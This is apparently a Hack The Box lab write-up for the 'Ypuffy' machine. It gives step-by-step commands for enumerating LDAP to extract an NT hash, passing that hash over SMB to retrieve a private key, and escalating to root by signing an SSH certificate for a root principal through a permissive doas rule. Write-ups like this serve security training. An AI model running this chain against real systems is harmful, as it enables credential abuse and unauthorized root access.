Hack The Box - Ypuffy
Summary:
This machine was quite interesting, and contained a privilege escalation method I’d not seen mentioned elsewhere. Luckily this was confined to the challenge, and standard machines would likely not contain this issue unless they had an unprivileged user account who could act under the userca account, and a privileged account which contained a useable principal.
| Gaining Access | Elevating Privileges |
|---|---|
| Open LDAP with password hash | Insecure ‘doas’ configuration file |
| Private Key stored on share | Root account with a usable principal |
Write-up
Starting out I used Masscan for ease of port enumeration on the machine.
masscan -e tun0 -p0-65535 --rate 700 -oL scan.10.10.10.70.tcp 10.10.10.70
This revealed that an interesting port 389 (LDAP) was open.
Discovered open port 389/tcp on 10.10.10.70
From here I focussed in on LDAP to see if I could find anything. I started with some inbuilt Nmap LDAP scripts.
nmap -p 389 --script ldap-search 10.10.10.107
Open LDAP with password hash
This enumerated some users, one of which was called alice1978 and had a NT hash stored under ‘sambaNTPassword’.
sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
Using crackmapexec, I confirmed if this hash was correct and could be used to authenticate.
crackmapexec 10.10.10.107 -u alice1978 -H 0B186E661BBDBDCF6047784DE8B9FD8B
Success. Of note was that the LM Hash contained a blank entry indicated by a known LM hash value.
aad3b435b51404eeaad3b435b51404ee
Using smbclient I was able to enumerate the shares available, specifying the found sambaNTPassword when prompted.
smbclient -L 10.10.10.107 -U alice1978 --pw-nt-hash
\10.10.10.107\alice
Private Key stored on share
After connecting to this share, and authenticating with the sambaNTPassword when prompted, I found a putty private key (ppk file) I could use.
smbclient \\10.10.10.107\alice --user=alice1978 --pw-nt-hash
my_private_key.ppk
So after downloading the key.
get my_private_key.ppk
I had to convert it into a useable format with putty-tools.
sudo apt-get install putty-tools
puttygen my_private_key.ppk -O private-openssh -o openssh_key
Gaining Access
Now I was able to SSH into this server and own the user alice1978.
ssh -i openssh_key [email protected]
cat user.txt
User.txt: acbc0 … 67aab
After realising this was an openbsd OS without the ‘sudo’ utility, an alternative tool was required for standard elevation attempts. In the openbsd OS there is a utility known as ‘doas’.
Insecure ‘doas’ configuration file
After locating the doas.conf configuration file, I checked it for any clues.
cat /etc/doas.conf
/etc/doas.conf:2:permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen permit keepenv :wheel permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen
Noting the suspicious entries which allow our owned user to run the ssh-keygen command with userca privileges, I checked the ssh server configuration file.
cat /etc/ssh/sshd_config
AuthorizedPrincipalsFile AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u
AuthorizedKeysCommandUser nobody
TrustedUserCAKeys /home/userca/ca.pub
AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u
AuthorizedPrincipalsCommandUser nobody
There were a few interesting elements here: The AuthorizedPrincipalsCommand, the TrustedUserCAKeys, and the AuthorizedPrincipalsCommand.
It was time to read the manual, I took a look at AuthorizedPrincipals.
“It contains a list of names which can be used in place of the username when authorizing a certificate.”
Then I looked at AuthorizedKeys.
“one-key-per-line register of public ECDSA, RSA, and ED25519 keys that this account can use to log in with”
And finally I gathered some context on TrustedUserCAKeys.
The TrustedUserCAKeys file can be used to sign a client certificate for authentication to a server
Root account with a usable principal
With this I was able to gather that the AuthorizedPrincipalsCommand would allow me to to determine valid principals (similar to aliases for a username) for a given user on the system. Curious, as to whether any existed for ‘root’, I checked.
curl "http://127.0.0.1/sshauth?type=principals&username=root"
3m3rgencyB4ckd00r
This was quite an unusual principal for the root account, and was worth noting. As it seemed like SSH may still be a viable attack vector, I went deeper down the rabbit hole.
First I created a directory to work from.
mkdir /tmp/minty
cd /tmp/minty
After looking into the syntax for ssh-keygen on OpenBSD. https://man.openbsd.org/ssh-keygen
I found out that users and hosts can authenticate to one another using key pairs, and that you can specify a set of principals who are seen as ‘valid’ or allowed to use a certificate for authentication.
“ssh-keygen supports signing of keys to produce certificates that may be used for user or host authentication. Certificates consist of a public key, some identity information, zero or more principal (user or host) names and a set of options that are signed by a Certification Authority (CA) key.” “Certificates may be limited to be valid for a set of principal (user/host) names. By default, generated certificates are valid for all users or hosts. To generate a certificate for a specified set of principals:” ssh-keygen -s ca_key -I certificate_identity [-h] [-U] [-D pkcs11_provider] [-n principals] [-O option] [-V validity_interval] [-z serial_number] file …
Although this would commonly be used for locking down which clients can authenticate to a server (for security measures), it can also be abused as a privilege escalation opportunity so long as you can generate keys using a trusted certificate authority (in this case the userca account).
The following process explains this unique privilege escalation method through ssh keys a little better.
- Generate a SSH keyfile using an account you control.
- Sign that keyfile, now known as an (identity), using a trusted certificate authority.
- During this process specify that the root user (via their principal name) will be allowed to use the signed keyfile.
- The outputted file then becomes a user key which can be used for user authentication against the server which generated it.
To start I generated a SSH key and outputted it to a file.
ssh-keygen -f ./id_rsa
Then I copied all of Alice’s related keys to my working directory so that I’d have the relevant keyfile required for signing.
cp /home/alice1978/.ssh/id_rsa* .
Elevating Privileges
Then, by using the standard Certificate Authority key located at /home/userca/ca, I was able to sign a public (user) key, specifying user_Alice1978 (keyfile) as the identity I was targeting, but also specify that the 3m3rgencyB4ckd00r principal (remember this specifies the root user), is allowed to use this key for authentication. I also gave it 1 week of validity.
doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I user_alice1978 -n 3m3rgencyB4ckd00r -V +1w ./id_rsa.pub
So after securing this key so that it can be used for access.
chmod 600 id_rsa.pub
I was able to use this certificate to SSH as the root user onto the server I was on.
ssh -i id_rsa root@localhost
cat root.txt
Root.txt: 91265 … 1757f
Final Notes
At the time of writing other HTB members had rated the machine elements as shown below. Feel free to reach out and provide any feedback or let me know if this helped.
